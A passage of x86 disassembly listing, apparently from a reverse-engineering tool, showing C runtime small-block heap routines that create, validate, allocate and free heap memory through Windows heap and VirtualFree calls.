dword_4EF8F4, 0 jnz short loc_41FF9D loc_41FF98: ; CODE XREF: sub_41FDD0+1BDj mov eax, [ebp+var_8] jmp short loc_41FFB6 ; --------------------------------------------------------------------------- loc_41FF9D: ; CODE XREF: sub_41FDD0+1C6j mov eax, [ebp+arg_4] push eax call sub_41FA30 add esp, 4 test eax, eax jnz short loc_41FFB1 xor eax, eax jmp short loc_41FFB6 ; --------------------------------------------------------------------------- loc_41FFB1: ; CODE XREF: sub_41FDD0+1DBj jmp loc_41FE06 ; --------------------------------------------------------------------------- loc_41FFB6: ; CODE XREF: sub_41FDD0+18j ; sub_41FDD0+31j ... mov esp, ebp pop ebp retn sub_41FDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FFC0 proc near ; CODE XREF: sub_4199B0+26Ep ; sub_4199B0+3B2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41FFCC jmp short loc_420024 ; --------------------------------------------------------------------------- loc_41FFCC: ; CODE XREF: sub_41FFC0+8j push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_420240 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_420007 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_420300 add esp, 8 push 9 call sub_41FBE0 add esp, 4 jmp short loc_420024 ; --------------------------------------------------------------------------- loc_420007: ; CODE XREF: sub_41FFC0+29j push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4EFF80 push ecx call dword_4F1480 ; RtlFreeHeap loc_420024: ; CODE XREF: sub_41FFC0+Aj ; sub_41FFC0+45j mov esp, ebp pop ebp retn sub_41FFC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420030 proc near ; CODE XREF: sub_41A090+30p ; .nsp0:004200B3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0FFFFFFFEh push 9 call sub_41FB40 add esp, 4 call sub_421830 test eax, eax jge short loc_420055 mov [ebp+var_4], 0FFFFFFFCh loc_420055: ; CODE XREF: sub_420030+1Cj push 9 call sub_41FBE0 add esp, 4 push 0 push 0 mov eax, dword_4EFF80 push eax call dword_4F1440 ; HeapValidate test eax, eax jnz short loc_42009D call dword_4F1348 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_420096 call sub_4248B0 mov dword ptr [eax], 78h call sub_4248A0 mov dword ptr [eax], 28h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_420096: ; CODE XREF: sub_420030+4Cj mov [ebp+var_4], 0FFFFFFFCh loc_42009D: ; CODE XREF: sub_420030+41j ; sub_420030+64j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_420030 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_420030 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200C0 proc near ; CODE XREF: .nsp0:0041EA3Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call dword_4F1488 ; HeapCreate mov dword_4EFF80, eax cmp dword_4EFF80, 0 jnz short loc_4200EC xor eax, eax jmp short loc_42010B ; --------------------------------------------------------------------------- loc_4200EC: ; CODE XREF: sub_4200C0+26j call sub_4201E0 test eax, eax jnz short loc_420106 mov ecx, dword_4EFF80 push ecx call dword_4F1484 ; HeapDestroy xor eax, eax jmp short loc_42010B ; --------------------------------------------------------------------------- loc_420106: ; CODE XREF: sub_4200C0+33j mov eax, 1 loc_42010B: ; CODE XREF: sub_4200C0+2Aj ; sub_4200C0+44j pop ebp retn sub_4200C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, dword_4EFF7C mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_420130 ; --------------------------------------------------------------------------- loc_420127: ; CODE XREF: .nsp0:00420184j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_420130: ; CODE XREF: .nsp0:00420125j mov edx, [ebp-4] cmp edx, dword_4EFF78 jge short loc_420186 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call dword_4F148C ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call dword_4F148C ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4EFF80 push eax call dword_4F1480 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_420127 ; --------------------------------------------------------------------------- loc_420186: ; CODE XREF: .nsp0:00420139j mov edx, dword_4EFF7C push edx push 0 mov eax, dword_4EFF80 push eax call dword_4F1480 ; RtlFreeHeap mov ecx, dword_4EFF80 push ecx call dword_4F1484 ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, dword_451498 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 3F8h jbe short loc_4201D0 xor eax, eax jmp short loc_4201DD ; --------------------------------------------------------------------------- loc_4201D0: ; CODE XREF: .nsp0:004201CAj mov eax, [ebp+8] mov dword_451498, eax mov eax, 1 loc_4201DD: ; CODE XREF: .nsp0:004201CEj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201E0 proc near ; CODE XREF: sub_4200C0:loc_4200ECp push ebp mov ebp, esp push 140h push 0 mov eax, dword_4EFF80 push eax call dword_4F1478 ; RtlAllocateHeap mov dword_4EFF7C, eax cmp dword_4EFF7C, 0 jnz short loc_420208 xor eax, eax jmp short loc_420237 ; --------------------------------------------------------------------------- loc_420208: ; CODE XREF: sub_4201E0+22j mov ecx, dword_4EFF7C mov dword_4EFF70, ecx mov dword_4EFF74, 0 mov dword_4EFF78, 0 mov dword_4EFF68, 10h mov eax, 1 loc_420237: ; CODE XREF: sub_4201E0+26j pop ebp retn sub_4201E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420240 proc near ; CODE XREF: sub_41A4F0+30p ; sub_41FD20+21p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4EFF78 imul eax, 14h mov ecx, dword_4EFF7C add ecx, eax mov [ebp+var_C], ecx mov edx, dword_4EFF7C mov [ebp+var_8], edx loc_420262: ; CODE XREF: sub_420240+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_42028F mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_420284 mov eax, [ebp+var_8] jmp short loc_420291 ; --------------------------------------------------------------------------- loc_420284: ; CODE XREF: sub_420240+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_420262 ; --------------------------------------------------------------------------- loc_42028F: ; CODE XREF: sub_420240+28j xor eax, eax loc_420291: ; CODE XREF: sub_420240+42j mov esp, ebp pop ebp retn sub_420240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4202A0 proc near ; CODE XREF: sub_41A4F0+4Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_4202F1 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_4202F1 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_4202F1 mov [ebp+var_C], 1 jmp short loc_4202F8 ; --------------------------------------------------------------------------- loc_4202F1: ; CODE XREF: sub_4202A0+2Fj ; sub_4202A0+39j ... mov [ebp+var_C], 0 loc_4202F8: ; CODE XREF: sub_4202A0+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_4202A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420300 proc near ; CODE XREF: sub_41FDD0+E8p ; sub_41FDD0+168p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_1C] add edx, [ebp+var_30] mov [ebp+var_38], edx mov eax, [ebp+var_38] mov ecx, [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_1C] mov eax, [edx-4] mov [ebp+var_C], eax mov ecx, [ebp+var_14] and ecx, 1 test ecx, ecx jnz loc_420498 mov edx, [ebp+var_14] sar edx, 4 sub edx, 1 mov [ebp+var_24], edx cmp [ebp+var_24], 3Fh jbe short loc_42038F mov [ebp+var_24], 3Fh loc_42038F: ; CODE XREF: sub_420300+86j mov eax, [ebp+var_38] mov ecx, [ebp+var_38] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_420471 cmp [ebp+var_24], 20h jnb short loc_420406 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_420404 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_420404: ; CODE XREF: sub_420300+EAj jmp short loc_420471 ; --------------------------------------------------------------------------- loc_420406: ; CODE XREF: sub_420300+A5j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_420471 mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_420471: ; CODE XREF: sub_420300+9Bj ; sub_420300:loc_420404j ... mov eax, [ebp+var_38] mov ecx, [eax+8] mov edx, [ebp+var_38] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_38] mov edx, [ecx+4] mov eax, [ebp+var_38] mov ecx, [eax+8] mov [edx+8], ecx mov edx, [ebp+var_30] add edx, [ebp+var_14] mov [ebp+var_30], edx loc_420498: ; CODE XREF: sub_420300+70j mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_4204B1 mov [ebp+var_28], 3Fh loc_4204B1: ; CODE XREF: sub_420300+1A8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz loc_420615 mov edx, [ebp+var_1C] sub edx, [ebp+var_C] mov [ebp+var_34], edx mov eax, [ebp+var_C] sar eax, 4 sub eax, 1 mov [ebp+var_2C], eax cmp [ebp+var_2C], 3Fh jbe short loc_4204E1 mov [ebp+var_2C], 3Fh loc_4204E1: ; CODE XREF: sub_420300+1D8j mov ecx, [ebp+var_30] add ecx, [ebp+var_C] mov [ebp+var_30], ecx mov edx, [ebp+var_30] sar edx, 4 sub edx, 1 mov [ebp+var_28], edx cmp [ebp+var_28], 3Fh jbe short loc_420503 mov [ebp+var_28], 3Fh loc_420503: ; CODE XREF: sub_420300+1FAj mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz loc_42060F mov ecx, [ebp+var_34] mov edx, [ebp+var_34] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4205F1 cmp [ebp+var_2C], 20h jnb short loc_420586 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_420584 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_420584: ; CODE XREF: sub_420300+26Aj jmp short loc_4205F1 ; --------------------------------------------------------------------------- loc_420586: ; CODE XREF: sub_420300+225j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4205F1 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4205F1: ; CODE XREF: sub_420300+21Bj ; sub_420300:loc_420584j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_42060F: ; CODE XREF: sub_420300+209j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_420615: ; CODE XREF: sub_420300+1B9j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_42062B mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_42073B loc_42062B: ; CODE XREF: sub_420300+31Dj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42073B cmp [ebp+var_28], 20h jnb short loc_4206D4 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_4206B2 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4206B2: ; CODE XREF: sub_420300+39Aj mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_42073B ; --------------------------------------------------------------------------- loc_4206D4: ; CODE XREF: sub_420300+377j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_420712 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_420712: ; CODE XREF: sub_420300+3F5j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_42073B: ; CODE XREF: sub_420300+325j ; sub_420300+36Dj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_4208C9 cmp dword_4EFF74, 0 jz loc_4208B8 mov eax, dword_4EFF6C shl eax, 0Fh mov ecx, dword_4EFF74 mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call dword_4F148C ; VirtualFree mov edx, 80000000h mov ecx, dword_4EFF6C shr edx, cl mov eax, dword_4EFF74 mov ecx, [eax+8] or ecx, edx mov edx, dword_4EFF74 mov [edx+8], ecx mov eax, dword_4EFF74 mov ecx, [eax+10h] mov edx, dword_4EFF6C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4EFF74 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4EFF74 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4EFF74 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_420816 mov edx, dword_4EFF74 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4EFF74 mov [ecx+4], eax loc_420816: ; CODE XREF: sub_420300+500j mov edx, dword_4EFF74 cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_4208B8 push 8000h push 0 mov eax, dword_4EFF74 mov ecx, [eax+0Ch] push ecx call dword_4F148C ; VirtualFree mov edx, dword_4EFF74 mov eax, [edx+10h] push eax push 0 mov ecx, dword_4EFF80 push ecx call dword_4F1480 ; RtlFreeHeap mov edx, dword_4EFF78 imul edx, 14h mov eax, dword_4EFF7C add eax, edx mov ecx, dword_4EFF74 add ecx, 14h sub eax, ecx push eax mov edx, dword_4EFF74 add edx, 14h push edx mov eax, dword_4EFF74 push eax call sub_41D520 add esp, 0Ch mov ecx, dword_4EFF78 sub ecx, 1 mov dword_4EFF78, ecx mov edx, [ebp+arg_0] cmp edx, dword_4EFF74 jbe short loc_4208AC mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_4208AC: ; CODE XREF: sub_420300+5A1j mov ecx, dword_4EFF7C mov dword_4EFF70, ecx loc_4208B8: ; CODE XREF: sub_420300+46Fj ; sub_420300+520j mov edx, [ebp+arg_0] mov dword_4EFF74, edx mov eax, [ebp+var_4] mov dword_4EFF6C, eax loc_4208C9: ; CODE XREF: sub_420300+462j mov esp, ebp pop ebp retn sub_420300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4208D0 proc near ; CODE XREF: sub_41FCA0+1Dp ; sub_41FDD0+99p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h push esi mov eax, dword_4EFF78 imul eax, 14h mov ecx, dword_4EFF7C add ecx, eax mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] add edx, 17h and edx, 0FFFFFFF0h mov [ebp+var_28], edx mov eax, [ebp+var_28] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 20h jge short loc_42091C or edx, 0FFFFFFFFh mov ecx, [ebp+var_20] shr edx, cl mov [ebp+var_24], edx mov [ebp+var_34], 0FFFFFFFFh jmp short loc_420931 ; --------------------------------------------------------------------------- loc_42091C: ; CODE XREF: sub_4208D0+36j mov [ebp+var_24], 0 mov ecx, [ebp+var_20] sub ecx, 20h or eax, 0FFFFFFFFh shr eax, cl mov [ebp+var_34], eax loc_420931: ; CODE XREF: sub_4208D0+4Aj mov ecx, dword_4EFF70 mov [ebp+var_18], ecx loc_42093A: ; CODE XREF: sub_4208D0+94j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_420966 mov eax, [ebp+var_18] mov ecx, [ebp+var_24] and ecx, [eax] mov edx, [ebp+var_18] mov eax, [ebp+var_34] and eax, [edx+4] or ecx, eax test ecx, ecx jz short loc_42095B jmp short loc_420966 ; --------------------------------------------------------------------------- loc_42095B: ; CODE XREF: sub_4208D0+87j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_42093A ; --------------------------------------------------------------------------- loc_420966: ; CODE XREF: sub_4208D0+70j ; sub_4208D0+89j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz loc_420A4D mov eax, dword_4EFF7C mov [ebp+var_18], eax loc_42097A: ; CODE XREF: sub_4208D0+D7j mov ecx, [ebp+var_18] cmp ecx, dword_4EFF70 jnb short loc_4209A9 mov edx, [ebp+var_18] mov eax, [ebp+var_24] and eax, [edx] mov ecx, [ebp+var_18] mov edx, [ebp+var_34] and edx, [ecx+4] or eax, edx test eax, eax jz short loc_42099E jmp short loc_4209A9 ; --------------------------------------------------------------------------- loc_42099E: ; CODE XREF: sub_4208D0+CAj mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_42097A ; --------------------------------------------------------------------------- loc_4209A9: ; CODE XREF: sub_4208D0+B3j ; sub_4208D0+CCj mov ecx, [ebp+var_18] cmp ecx, dword_4EFF70 jnz loc_420A4D loc_4209B8: ; CODE XREF: sub_4208D0+104j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnb short loc_4209D6 mov eax, [ebp+var_18] cmp dword ptr [eax+8], 0 jz short loc_4209CB jmp short loc_4209D6 ; --------------------------------------------------------------------------- loc_4209CB: ; CODE XREF: sub_4208D0+F7j mov ecx, [ebp+var_18] add ecx, 14h mov [ebp+var_18], ecx jmp short loc_4209B8 ; --------------------------------------------------------------------------- loc_4209D6: ; CODE XREF: sub_4208D0+EEj ; sub_4208D0+F9j mov edx, [ebp+var_18] cmp edx, [ebp+var_2C] jnz short loc_420A27 mov eax, dword_4EFF7C mov [ebp+var_18], eax loc_4209E6: ; CODE XREF: sub_4208D0+135j mov ecx, [ebp+var_18] cmp ecx, dword_4EFF70 jnb short loc_420A07 mov edx, [ebp+var_18] cmp dword ptr [edx+8], 0 jz short loc_4209FC jmp short loc_420A07 ; --------------------------------------------------------------------------- loc_4209FC: ; CODE XREF: sub_4208D0+128j mov eax, [ebp+var_18] add eax, 14h mov [ebp+var_18], eax jmp short loc_4209E6 ; --------------------------------------------------------------------------- loc_420A07: ; CODE XREF: sub_4208D0+11Fj ; sub_4208D0+12Aj mov ecx, [ebp+var_18] cmp ecx, dword_4EFF70 jnz short loc_420A27 call sub_420E10 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_420A27 xor eax, eax jmp loc_420E01 ; --------------------------------------------------------------------------- loc_420A27: ; CODE XREF: sub_4208D0+10Cj ; sub_4208D0+140j ... mov edx, [ebp+var_18] push edx call sub_420F20 add esp, 4 mov ecx, [ebp+var_18] mov edx, [ecx+10h] mov [edx], eax mov eax, [ebp+var_18] mov ecx, [eax+10h] cmp dword ptr [ecx], 0FFFFFFFFh jnz short loc_420A4D xor eax, eax jmp loc_420E01 ; --------------------------------------------------------------------------- loc_420A4D: ; CODE XREF: sub_4208D0+9Cj ; sub_4208D0+E2j ... mov edx, [ebp+var_18] mov dword_4EFF70, edx mov eax, [ebp+var_18] mov ecx, [eax+10h] mov [ebp+var_38], ecx mov edx, [ebp+var_38] mov eax, [edx] mov [ebp+var_30], eax cmp [ebp+var_30], 0FFFFFFFFh jz short loc_420A90 mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov eax, [ebp+var_24] and eax, [edx+ecx*4+44h] mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [edx+ecx*4+0C4h] or eax, esi test eax, eax jnz short loc_420AC5 loc_420A90: ; CODE XREF: sub_4208D0+19Bj mov [ebp+var_30], 0 loc_420A97: ; CODE XREF: sub_4208D0+1F3j mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov esi, [ebp+var_34] and esi, [ecx+eax*4+0C4h] or edx, esi test edx, edx jnz short loc_420AC5 mov edx, [ebp+var_30] add edx, 1 mov [ebp+var_30], edx jmp short loc_420A97 ; --------------------------------------------------------------------------- loc_420AC5: ; CODE XREF: sub_4208D0+1BEj ; sub_4208D0+1E8j mov eax, [ebp+var_30] imul eax, 204h mov ecx, [ebp+var_38] lea edx, [ecx+eax+144h] mov [ebp+var_4], edx mov [ebp+var_20], 0 mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_24] and edx, [ecx+eax*4+44h] mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_420B12 mov [ebp+var_20], 20h mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov edx, [ebp+var_34] and edx, [ecx+eax*4+0C4h] mov [ebp+var_1C], edx loc_420B12: ; CODE XREF: sub_4208D0+226j ; sub_4208D0+259j cmp [ebp+var_1C], 0 jl short loc_420B2B mov eax, [ebp+var_1C] shl eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_420B12 ; --------------------------------------------------------------------------- loc_420B2B: ; CODE XREF: sub_4208D0+246j mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov ecx, [eax+edx*8+4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [edx] sub eax, [ebp+var_28] mov [ebp+var_8], eax mov ecx, [ebp+var_8] sar ecx, 4 sub ecx, 1 mov [ebp+var_14], ecx cmp [ebp+var_14], 3Fh jle short loc_420B5C mov [ebp+var_14], 3Fh loc_420B5C: ; CODE XREF: sub_4208D0+283j mov edx, [ebp+var_14] cmp edx, [ebp+var_20] jz loc_420D80 mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_420C4A cmp [ebp+var_20], 20h jge short loc_420BDF mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov ecx, [edx+ecx*4+44h] and ecx, eax mov edx, [ebp+var_30] mov eax, [ebp+var_38] mov [eax+edx*4+44h], ecx mov ecx, [ebp+var_38] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_38] add eax, 